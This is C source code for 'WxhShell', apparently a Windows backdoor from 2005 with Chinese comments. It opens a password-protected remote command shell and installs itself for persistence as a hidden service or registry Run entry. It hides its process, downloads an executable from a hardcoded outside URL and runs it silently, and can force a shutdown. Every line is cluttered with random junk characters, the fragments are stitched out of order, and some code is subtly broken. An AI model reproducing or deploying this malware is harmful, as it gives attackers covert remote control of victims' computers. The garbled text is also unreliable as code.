    if(Boot(SHUTDOWN)) M+Rxt.~6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NUiNn 7C  
    else { +;nADl+Q  
    closesocket(wsh); n|,kL!++.  
    ExitThread(0); cZn B 2T?  
    } $O|J8;"v  
    break; Rx e sK  
    } 6.fahg?E  
  // 获取shell +{* @36A5A  
  case 's': { Q=hf,/N  
    CmdShell(wsh); t-#Y6U}b+  
    closesocket(wsh); \W73W_P&g  
    ExitThread(0); H}KJd5A7  
    break; !wl3}]q  
  } (bP\_F5D  
  // 退出 e%#8]$  
  case 'x': { Q<]~>cd^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NG!~<Kx   
    CloseIt(wsh); !Pmv  
    break; )KvQaC  
    } (C;oot,  
  // 离开 /mST<{(_G\  
  case 'q': { 4%5H<:V7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n ETm"  
    closesocket(wsh); XO |U4 #ya  
    WSACleanup(); ,$ICv+7]  
    exit(1); <{\UE~  
    break; ^%|(dMo4  
        } cpV:y  
  } @=jcdn!\M  
  } LGb.>O^  
MYqxkhcLH1  
  // 提示信息 *.ffyBI*~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^FLuhLS\*  
} 7 R1;'/;  
  } Z4#lZS`'A  
/uSEG<D  
  return; ,"/<N*vh  
} oL'  :07_  
gd9ZlHo'Id  
// shell模块句柄 pH&Q]u; O  
int CmdShell(SOCKET sock) !/0XoIf"  
{ .^s%Nh2jM  
STARTUPINFO si; yQQ[_1$pq  
ZeroMemory(&si,sizeof(si)); Ugmg,~U~k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r>lC(x\B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ],%}}UN  
PROCESS_INFORMATION ProcessInfo; 1KxtHLLU  
char cmdline[]="cmd"; B8'(3&)My  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MI[=,0`D  
  return 0; %v++AcE  
} xBGSj[1`i  
eW*nRha  
// 自身启动模式 >mI-h  
int StartFromService(void) htg+V-,  
{ LyA=(h6  
typedef struct l'N>9~f  
{ UQz8":#V  
  DWORD ExitStatus; m{gK<T  
  DWORD PebBaseAddress; 8a{FxCBw  
  DWORD AffinityMask; i3 k ',8  
  DWORD BasePriority; k07JMS?  
  ULONG UniqueProcessId; bA#E8dlC_  
  ULONG InheritedFromUniqueProcessId; 1{+Ni{  
}   PROCESS_BASIC_INFORMATION; [.P~-6~  
 /A|cO   
PROCNTQSIP NtQueryInformationProcess; tq9t(0EL  
[|~X~AO%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Py 8o8*H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {]-nYHGL  
jr" ~  
  HANDLE             hProcess; ]zVe%Wa  
  PROCESS_BASIC_INFORMATION pbi; UC*<]  
2vKnxK+ 5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D@H'8C\  
  if(NULL == hInst ) return 0; Y=/3_[G   
NXDV3MH=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %V;k/w~[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &..![,)w^!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?,|_<'$4T  
6X5m1+ Oi^  
  if (!NtQueryInformationProcess) return 0; r2QC$V:0  
<u44YvLBm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C78d29  
  if(!hProcess) return 0; ?|^1-5l3  
;D]TPBE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (JFa  
GMOv$Tn-_L  
  CloseHandle(hProcess); {U=za1Ga  
#v-)Ie\F?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0t 7yK  
if(hProcess==NULL) return 0; ?A Y596  
4BuS? #_  
HMODULE hMod; /S9Mu )1Y  
char procName[255]; R4}G@&Q  
unsigned long cbNeeded; nngL,-v#F  
s@o"V >t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DC*|tHl  
h bj^!0m  
  CloseHandle(hProcess); {NE;z<,*:  
D4[5}NYU  
if(strstr(procName,"services")) return 1; // 以服务启动 ~C=`yj  
8%7H F:  
  return 0; // 注册表启动 wr*A%:  
} /H^bDUC :r  
(m3p28Q?  
// 主模块 [ sz#*IJ  
int StartWxhshell(LPSTR lpCmdLine) : M0LAN  
{ wlKpHd*  
  SOCKET wsl; y>8!qVX  
BOOL val=TRUE; Iu0K#.s_  
  int port=0; l%B1JGu*F  
  struct sockaddr_in door; %8 cFzyE*  
_a*Wk  
  if(wscfg.ws_autoins) Install(); *Gu Cv3|  
~2A<fL,-  
port=atoi(lpCmdLine); }Sp MHR`  
?Pmj}f  
if(port<=0) port=wscfg.ws_port; !l6B_[!@  
>E"FoZM=  
  WSADATA data; e~rBV+f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uK(+WA  
& PHHacp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E_?3<)l)RI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q;r 0#"  
  door.sin_family = AF_INET; ; @Gm@d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &$hfAG]"  
  door.sin_port = htons(port); >tP/"4c  
7-e)V{A`w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dJNYuTZ'  
closesocket(wsl); o?{VGJH<v  
return 1; e%'9oAz  
} cx_"{`+e  
drtQEc>qT  
  if(listen(wsl,2) == INVALID_SOCKET) { H3OH  
closesocket(wsl); -oF4mi8S  
return 1; shn`>=0.&  
} FG#E?G  
  Wxhshell(wsl); 6t]oSxN  
  WSACleanup(); P'ZWAxd  
aKCCFHq t!  
return 0; WlZ[9,:p1  
Q1eiU Y6  
} |7%$+g  
WHAEB1c#Q  
// 以NT服务方式启动 7\{<AM?*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l`$f@'k  
{ {!oO>t  
DWORD   status = 0; 9M01}  
  DWORD   specificError = 0xfffffff; 9zO;sg;3  
2b|vb}|t{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wZrdr4j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -]'Sy$,A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mm.!$uR  
  serviceStatus.dwWin32ExitCode     = 0; "{{xH*ij'  
  serviceStatus.dwServiceSpecificExitCode = 0; e4CG=K3s  
  serviceStatus.dwCheckPoint       = 0; %_tL}m{?  
  serviceStatus.dwWaitHint       = 0; r="X\ [on  
5+3Z?|b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9@D,ZSi  
  if (hServiceStatusHandle==0) return; RFA5vCG  
j-{WPJa4\  
status = GetLastError(); sOJ"~p  
  if (status!=NO_ERROR) Fd'Ang6"  
{ e`}|*^-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3Q`'C7Pi  
    serviceStatus.dwCheckPoint       = 0; /.WD '*H  
    serviceStatus.dwWaitHint       = 0; gn(n</\/O  
    serviceStatus.dwWin32ExitCode     = status; 3v0)oK  
    serviceStatus.dwServiceSpecificExitCode = specificError; QX(:!b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <j,7Z>Rk\x  
    return; X#eVw|  
  } p3^7Hr  
b:%>T PT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /h2`?~k+  
  serviceStatus.dwCheckPoint       = 0; $/wr?  
  serviceStatus.dwWaitHint       = 0; `hH1rw@7<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =}c~BHT  
} )XO2DY1/&  
P$4?-AZ  
// 处理NT服务事件,比如:启动、停止 _TX.}167;-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |y'q`cY  
{ VCc4nn#  
switch(fdwControl) _'j>xK  
{ AH#e>kU^  
case SERVICE_CONTROL_STOP: +%gh?  
  serviceStatus.dwWin32ExitCode = 0; 4a)qn?<z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]Uxx_1$,  
  serviceStatus.dwCheckPoint   = 0; 23+GX&Rp  
  serviceStatus.dwWaitHint     = 0; .+[[m$J  
  { ]m}>/2oSs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;UPw;'  
  } _&w!JzpXT  
  return; OB$A"XGAEV  
case SERVICE_CONTROL_PAUSE: tU)+q?Mw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NU 6P  
  break;  'Z&A5\~  
case SERVICE_CONTROL_CONTINUE: N+}yw4lb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T@Q.m.iV4  
  break; $V\xN(Ed  
case SERVICE_CONTROL_INTERROGATE: T\c dtjk  
  break; , H[o.r=  
}; $6oLiYFX;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bt j\v[D  
} HDy[/7"  
+JQN=nTA  
// 标准应用程序主函数 $fh?(J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vk#xCggK  
{ _wHqfj)  
7CQ48LH]  
// 获取操作系统版本 fwl RwH(  
OsIsNt=GetOsVer(); "ht2X w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7x1jpQ -  
e94csTh=  
  // 从命令行安装 aX  ?ON  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7`WK1_rR\  
IPT}JX'  
  // 下载执行文件 xSLN  
if(wscfg.ws_downexe) { wL%>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .eeM&n;c  
  WinExec(wscfg.ws_filenam,SW_HIDE); 74Kl!A  
} j4NS5  
PqP)<d '/  
if(!OsIsNt) { iezz[;t  
// 如果时win9x,隐藏进程并且设置为注册表启动 7qh_URt@  
HideProc(); 8Ipyr%l  
StartWxhshell(lpCmdLine); Y8CXin h  
} HWs?,AJNxB  
else EIf~>AI  
  if(StartFromService()) ("9)=x*5  
  // 以服务方式启动 ex29rL3  
  StartServiceCtrlDispatcher(DispatchTable); 0Z@u6{Z9R  
else M=!x0V;  
  // 普通方式启动 h<uRlTk  
  StartWxhshell(lpCmdLine); W~7q&||;C  
n$~RgCf  
return 0; _|s{G  
} 2KPXRK  
k'u2a  
#U6Wv1H{Lp  
OY@/18D<>  
=========================================== f:HRrKf9  
;xj^*b  
02=eE|Y@  
CP={|]>+S  
n7Re@'N<  
&Wn!W  
" @h$7C<  
US Q{o  
#include <stdio.h> k-w._E <  
#include <string.h> fM8 :Nt$  
#include <windows.h> 7, O_'T &  
#include <winsock2.h> r?[Zf2&  
#include <winsvc.h> &0N 3 p  
#include <urlmon.h> b)`<J @&{  
$osDw1C  
#pragma comment (lib, "Ws2_32.lib") i*F^;-q)  
#pragma comment (lib, "urlmon.lib") 3tgct <"  
tF=96u_X  
#define MAX_USER   100 // 最大客户端连接数 -o=qYkyLK  
#define BUF_SOCK   200 // sock buffer OvQG%D}P=  
#define KEY_BUFF   255 // 输入 buffer 'jfI1 ]q  
a7M8sZ?"  
#define REBOOT     0   // 重启 iXXgPapz  
#define SHUTDOWN   1   // 关机 PY) 74sa  
.+ _x|?'  
#define DEF_PORT   5000 // 监听端口 ON !1lS  
eP;lH~!.0  
#define REG_LEN     16   // 注册表键长度 [dUW3}APV  
#define SVC_LEN     80   // NT服务名长度  H'2pmwk  
$e0sa=/  
// 从dll定义API r_ Xk:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t&-7AjS5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [,l BY-Kz+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ! 5]/2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]Wfnpqc^  
hGzj}t W8d  
// wxhshell配置信息 0naegy?,  
struct WSCFG { l$z-'  
  int ws_port;         // 监听端口 V<(cW'zA/  
  char ws_passstr[REG_LEN]; // 口令 a N_M  
  int ws_autoins;       // 安装标记, 1=yes 0=no %/~Sq?f-9@  
  char ws_regname[REG_LEN]; // 注册表键名 &Tl3\T0D  
  char ws_svcname[REG_LEN]; // 服务名 ;B!&( 50e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z+Y0Zh";/#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +AXui|mn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (?oK+,v?L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +jQW6k#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .p <!2   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w 8T#~Dc  
91[(K'=&  
}; UKn>.,  
BK6oW3wD/  
// default Wxhshell configuration *\-6p0~A  
struct WSCFG wscfg={DEF_PORT, Lw2EA 5  
    "xuhuanlingzhe", dTS 7l02  
    1, CSIW|R@   
    "Wxhshell", 1[mX_ }K  
    "Wxhshell", 4fQ<A <2/  
            "WxhShell Service", lP0'Zg(  
    "Wrsky Windows CmdShell Service", q,kdr)-  
    "Please Input Your Password: ", /2 WGo-  
  1, ,uK }$l  
  "http://www.wrsky.com/wxhshell.exe", $M#G;W5c  
  "Wxhshell.exe" X8y&|uH  
    }; 7oK!!Qd^w  
PWmFY'=  
// 消息定义模块 Pe~[qETv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X`#vH8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; REc69Y.k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; THkg,*;:  
char *msg_ws_ext="\n\rExit."; _-^a8F>/19  
char *msg_ws_end="\n\rQuit."; qgDd^0  
char *msg_ws_boot="\n\rReboot..."; j%Usui<DL  
char *msg_ws_poff="\n\rShutdown..."; +<&_1% 5+  
char *msg_ws_down="\n\rSave to "; g \&Z_  
p~BEz?e  
char *msg_ws_err="\n\rErr!"; [Vc8j&:L  
char *msg_ws_ok="\n\rOK!"; 1Sx2c  
RMDzPda.  
char ExeFile[MAX_PATH]; !CY: XQm  
int nUser = 0; ~"#qG6dP  
HANDLE handles[MAX_USER]; ?7*.S Lt  
int OsIsNt; 5{L~e>oS9  
]]V|[g&aJ  
SERVICE_STATUS       serviceStatus; ? 0p_/mZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PFu{OJg&  
Rcc9Tx(zvQ  
// 函数声明 xo a1='  
int Install(void); 3c}@_Yn  
int Uninstall(void); f;x0Ho5C2  
int DownloadFile(char *sURL, SOCKET wsh); 3fM8W> *7  
int Boot(int flag); I w~R@,  
void HideProc(void); C[6} 8J|  
int GetOsVer(void); :Ugf3%sQ  
int Wxhshell(SOCKET wsl); T]HeS(  
void TalkWithClient(void *cs); ~l+2Z4nV  
int CmdShell(SOCKET sock); ,` 6O{Z~  
int StartFromService(void); 2Jo|]>nl}u  
int StartWxhshell(LPSTR lpCmdLine); kNR -eG  
L`NY^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #oW" 3L{,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0Ta&o-e  
-n FKP&P  
// 数据结构和表定义 X|y(B%:  
SERVICE_TABLE_ENTRY DispatchTable[] = vJ9I z  
{ ^m~&2l\N=  
{wscfg.ws_svcname, NTServiceMain}, iO+,U}&  
{NULL, NULL} ,sI<AFI  
}; x{4{.s%+:  
Bs)'Gk`1  
// 自我安装 oq${}n<  
int Install(void) 3>M%?d  
{ B\S}*IE  
  char svExeFile[MAX_PATH]; B>.x@(}V~  
  HKEY key; & OYo  
  strcpy(svExeFile,ExeFile); x<5ARK6\=  
%|j`z?i|  
// 如果是win9x系统,修改注册表设为自启动 J/LsL k  
if(!OsIsNt) { R!f<6l8#W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t xE=AOY5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t.y-b`v  
  RegCloseKey(key); :^7>kJ5?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ttOk6-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G?kK:eV  
  RegCloseKey(key); =' uePM")  
  return 0; 7-:R{&3Lm:  
    } l^F ?^kP  
  } V56WgOBxz  
} ls7eypKR  
else { v{d$DZUs  
V6Mt;e)C  
// 如果是NT以上系统,安装为系统服务 @`$'sU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J0V`sK  
if (schSCManager!=0) k/P.[5  
{ *4/FN TC  
  SC_HANDLE schService = CreateService 3xg9D.A  
  ( qv& Bai[  
  schSCManager, *5IB@^<  
  wscfg.ws_svcname, vd?Bk_d9k,  
  wscfg.ws_svcdisp, 8Cs;.>75[  
  SERVICE_ALL_ACCESS, .7]P-]uOZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o?Aj6fNY?  
  SERVICE_AUTO_START, Z1#u&oX  
  SERVICE_ERROR_NORMAL, 2ah%,o  
  svExeFile, Mg #yl\v  
  NULL, I4W@t4bZ  
  NULL, !O,Sq/=.  
  NULL, _%q~K (::  
  NULL, Jsl2RdI  
  NULL c {/J.  
  ); > vdmN]  
  if (schService!=0) >H^#!eaqw  
  { e2f+Fv 9  
  CloseServiceHandle(schService); 8N%nG( 0  
  CloseServiceHandle(schSCManager); |BbzRis  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dvZH~mF  
  strcat(svExeFile,wscfg.ws_svcname); (:aU"5M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dgL>7X=7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D/?Ec\ t  
  RegCloseKey(key); NMe{1RM  
  return 0; %x N${4)6  
    } v\GVy[Qyv  
  } H4s~=iB  
  CloseServiceHandle(schSCManager); gVrQAcJj  
} J$Z=`=] t+  
} 2]1u0-M5L  
zcKQD)]  
return 1; Q_U.J0  
} Dn6U8s&  
h Ta(^  
// 自我卸载 o:D,,MkSw  
int Uninstall(void) %Yj%0  
{ _bGkJ=  
  HKEY key; ,Cb3R|L8  
B2e"   
if(!OsIsNt) { /TyGZ@S>m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gs5(~YiT6  
  RegDeleteValue(key,wscfg.ws_regname); ,$0-I@*V  
  RegCloseKey(key); '`3#FCg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @@)2 12  
  RegDeleteValue(key,wscfg.ws_regname); 1>"-!ADm  
  RegCloseKey(key); !bP%\)5  
  return 0; "!~o  
  } [ n7>g   
} F}5d>nw  
} +{1.kb Zq  
else { I|U'@E  
.E<nQWz 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;$QC_l''b  
if (schSCManager!=0) 27EK +$  
{ @eJCr)#}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <.Ws; HN}  
  if (schService!=0) 1Y|a:){G  
  { j-":>}oW2.  
  if(DeleteService(schService)!=0) { yd).}@  
  CloseServiceHandle(schService); N% 4"9K  
  CloseServiceHandle(schSCManager); 8.i4QaU  
  return 0; 83n%pS4x  
  } eXW|{asx  
  CloseServiceHandle(schService); <7M-?g:vj  
  } y3zP`^  
  CloseServiceHandle(schSCManager); Ix5&B6L8  
} a YWWln  
} $VuXr=f}  
){*+s RBW  
return 1; c2y,zq|H  
} r 3W3;L   
4f([EV[6dK  
// 从指定url下载文件 $"r9U|6kk  
int DownloadFile(char *sURL, SOCKET wsh) c-sjYJXKM*  
{ ,~1"50 Hp@  
  HRESULT hr; d9K8[Q5^3  
char seps[]= "/"; `gX@b^  
char *token; >Icr4?zq  
char *file; `#N/]4(j  
char myURL[MAX_PATH]; |_V(^b}  
char myFILE[MAX_PATH]; `POzwYh  
wI$ a1H  
strcpy(myURL,sURL); {FNkPX  
  token=strtok(myURL,seps); ?, S/>SP  
  while(token!=NULL) DN*5q9.  
  { l3>S{  
    file=token; \84t\jKR  
  token=strtok(NULL,seps); 9;E=w+  
  } g8W,Xq+  
DxJ;C09xNa  
GetCurrentDirectory(MAX_PATH,myFILE); ]:P7}Kpb  
strcat(myFILE, "\\"); nlwqSXw  
strcat(myFILE, file); xu2 KEwgb  
  send(wsh,myFILE,strlen(myFILE),0); S/nPK,^d2  
send(wsh,"...",3,0); qCV<-o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |' Fe?~P`  
  if(hr==S_OK) 9} (w*>_L  
return 0; 558P"w0"X  
else 9a}9cMJ^"  
return 1; M|WBJ'#x0  
Y%pab/Y  
} -8Jw_  
CM;b_E)9)f  
// 系统电源模块 =p+y$  
int Boot(int flag) 7>FXsUt_  
{  =<HDek  
  HANDLE hToken; Ld4U  
  TOKEN_PRIVILEGES tkp; ZK5nN9`  
S+ kq1R  
  if(OsIsNt) { )cqD">vs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F (*B1J2_g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gcJ!_KZK  
    tkp.PrivilegeCount = 1; $[ {5+*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g7\ =  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mdj%zJ8/  
if(flag==REBOOT) { `o[l%I\Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dac)`/  
  return 0; b 7UJ  
} z p E|  
else { apvcWF%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eS`VI+=@0  
  return 0; ]A*}Dem*5  
} Q7 BbST+  
  } fB+L%+mr8  
  else { y&/IJst&aq  
if(flag==REBOOT) { C($l'jd&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !"rPSGK*  
  return 0; xa>| k>I  
} =>jp\A  
else { J:xGEa t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ql*zl  
  return 0; wA) Hot  
} Lc3&\q e  
} E+f)Zg :  
]Bhy  =1  
return 1; oBzl=N3<  
} "y1Iu   
YR%iZ"`*+O  
// win9x进程隐藏模块 +r:g}iR  
void HideProc(void) iUx\3d,  
{ )t6]F6!_  
,YYEn^:>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w5@ 5"M  
  if ( hKernel != NULL ) .iXN~*+g  
  { R>< g\{G]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 64s;EC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AK:cDKBO  
    FreeLibrary(hKernel); o[|[xuTm  
  } 8bIP"!=*W  
i5,iJe0cA  
return; ).T&fa"  
} -%nD'qy,.  
18X@0e  
// 获取操作系统版本 g3R(,IH  
int GetOsVer(void) Syk)S<  
{ ,g*!NK_:5t  
  OSVERSIONINFO winfo; LP<A q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _plK(g-1J%  
  GetVersionEx(&winfo); -dntV=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O9=/\Kc  
  return 1; ~+q1g[6  
  else 2MkrVQQ9g  
  return 0; l$42MRi/  
} "M I';6  
O%b byR2  
// 客户端句柄模块 ajYe?z  
int Wxhshell(SOCKET wsl) 9T,/R1N8  
{ .tBlGMcN  
  SOCKET wsh; 0-. d{P  
  struct sockaddr_in client; r*X,]\V0x  
  DWORD myID;  Z>[7#;;  
2*#|t: (c  
  while(nUser<MAX_USER) f5jl$H.  
{ JF~i.+{ h  
  int nSize=sizeof(client); u-_r2U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;b~ S/   
  if(wsh==INVALID_SOCKET) return 1; PwY/VGT  
'ofj1%c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v^|U?  
if(handles[nUser]==0) ,:_c-d#  
  closesocket(wsh); h$cm:uks  
else R4?>C-;  
  nUser++; $a(-r-_Fi]  
  } Zk3Pv0c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eA!o#O.  
lqzt[zgN  
  return 0; 60D36b(  
} nJD GNm,  
Kxe\H'rR  
// 关闭 socket G\.~/<Mg+  
void CloseIt(SOCKET wsh) ]9@:7d6  
{ *S$v SDJCW  
closesocket(wsh); JA^o/%a^  
nUser--; ^X#y'odtbS  
ExitThread(0); RObnu*  
} -<iP$,bq72  
@[GV0*yz$  
// 客户端请求句柄 6j#JhcS+  
void TalkWithClient(void *cs) d2\ !tJm  
{ Ni$'# W?t  
Epzg|L1)  
  SOCKET wsh=(SOCKET)cs; f?3-C8 hU  
  char pwd[SVC_LEN]; NOb`)qb  
  char cmd[KEY_BUFF]; "oP^2|${  
char chr[1]; z;OYPGvkw  
int i,j;  Rr) 5 [  
B2`S0 H  
  while (nUser < MAX_USER) { VPLf(  
@]\fO)\f  
if(wscfg.ws_passstr) { '&>"`q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X.]I4O&_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H]TdW;ZbZ  
  //ZeroMemory(pwd,KEY_BUFF); /l$x}  
      i=0; BK$y>= `  
  while(i<SVC_LEN) { 'Zx5+rM${}  
_e%D/}  
  // 设置超时 w.qtSW6M+  
  fd_set FdRead; BN/ 4O?jD9  
  struct timeval TimeOut; C]^Ep  
  FD_ZERO(&FdRead); i'~-\F!  
  FD_SET(wsh,&FdRead); xR7ZqTcw  
  TimeOut.tv_sec=8; Gnc`CyN:H  
  TimeOut.tv_usec=0; Q|y }mC/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Psb !Z(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pt]>AW;i  
WBe0^=x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eJDZ| $  
  pwd=chr[0]; z^Hc'oVXj:  
  if(chr[0]==0xd || chr[0]==0xa) { 0<M-asI?  
  pwd=0; ;vx5 =^7P  
  break; 1gI7$y+?  
  } -I< >Ab  
  i++; Vk5Z[w a  
    } kVn RSg}R  
X>(1fra4  
  // 如果是非法用户,关闭 socket ,67Q!/O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2& Q\W  
} WM bkKC.{J  
ChBf:`e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,H7X_KbFD4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ee>VA_ss  
dQ:,pe7A  
while(1) { z]7 WC  
A(Ct^/x-  
  ZeroMemory(cmd,KEY_BUFF); b?wrOS  
Dy08.Sss  
      // 自动支持客户端 telnet标准   b,!C8rJ  
  j=0; !R{IEray  
  while(j<KEY_BUFF) { !2!~_*sGe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7>hcvML  
  cmd[j]=chr[0]; unDW2#GX  
  if(chr[0]==0xa || chr[0]==0xd) { mh+T!v$[n)  
  cmd[j]=0; ew;;e|24  
  break; mF~T?L"  
  } %h. zkocM  
  j++; _[:6.oNjIe  
    } g)Z8WH$;H3  
q(sTKT[V  
  // 下载文件 i4D(8;  
  if(strstr(cmd,"http://")) { bpu`'Vx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q<Rj Ai  
  if(DownloadFile(cmd,wsh)) )\wkVAm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PgtLyzc  
  else Ku5||u.F4*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X'A`" }=_  
  } HcRw9,I'  
  else { m\teE]8x  
